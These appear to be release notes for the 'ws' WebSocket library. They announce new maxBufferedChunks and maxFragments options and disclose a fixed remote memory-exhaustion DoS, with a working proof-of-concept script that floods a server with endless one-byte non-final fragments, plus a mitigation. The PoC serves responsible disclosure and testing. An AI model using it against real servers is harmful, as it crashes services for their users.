Features
* Introduced the maxBufferedChunks and maxFragments options (2b2abd4).
Bug fixes
* Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).
A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost: ${ port } `);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${ code } reason: ${ reason . toString ( ) } `);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${ code } reason: ${ reason . toString ( ) } `);
});
});
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.
